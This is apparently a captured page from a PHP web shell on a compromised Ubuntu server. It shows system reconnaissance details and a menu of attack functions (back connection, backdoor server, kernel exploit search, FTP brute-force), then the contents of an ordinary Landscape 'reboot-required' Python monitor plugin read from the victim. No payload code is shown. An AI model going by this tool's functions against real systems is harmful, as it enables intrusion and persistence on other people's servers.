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| System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
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| Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
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| ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
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| Safe Mode | : | OFF |
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| Open_Basedir | : | OFF |
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| Freespace | : | 22.78 GB of 70.42 GB (32.36%) |
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MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
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Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
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[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
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/
usr/
share/
pyshared/
landscape/
monitor/
- drwxr-xr-x
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Viewing file:  rebootrequired.py (2.23 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
import os
import logging
from landscape.lib.fs import read_file
from landscape.monitor.plugin import MonitorPlugin
class RebootRequired(MonitorPlugin):
"""
Report whether the system requires a reboot.
@param reboot_required_filename: The path to the flag file that indicates
if the system needs to be rebooted.
"""
persist_name = "reboot-required"
run_interval = 900 # 15 minutes
run_immediately = True
def __init__(self, reboot_required_filename="/var/run/reboot-required"):
self._flag_filename = reboot_required_filename
self._packages_filename = reboot_required_filename + ".pkgs"
def _get_flag(self):
"""Return a boolean indicating whether the computer needs a reboot."""
return os.path.exists(self._flag_filename)
def _get_packages(self):
"""Return the list of packages that required a reboot, if any."""
if not os.path.exists(self._packages_filename):
return []
lines = read_file(self._packages_filename).splitlines()
packages = set(line.strip().decode("utf-8") for line in lines if line)
return sorted(packages)
def _create_message(self):
"""Return the body of the reboot-required message to be sent."""
message = {}
flag = self._get_flag()
packages = self._get_packages()
for key, value in [("flag", flag), ("packages", packages)]:
if value == self._persist.get(key):
continue
self._persist.set(key, value)
message[key] = value
return message
def send_message(self):
"""Send a reboot-required message if needed.
A message will be sent only if the reboot-required status of the
system has changed.
"""
message = self._create_message()
if message:
message["type"] = "reboot-required-info"
logging.info("Queueing message with updated "
"reboot-required status.")
self.registry.broker.send_message(message, urgent=True)
def run(self):
"""Send reboot-required messages if the server accepts them."""
return self.registry.broker.call_if_accepted(
"reboot-required-info", self.send_message)
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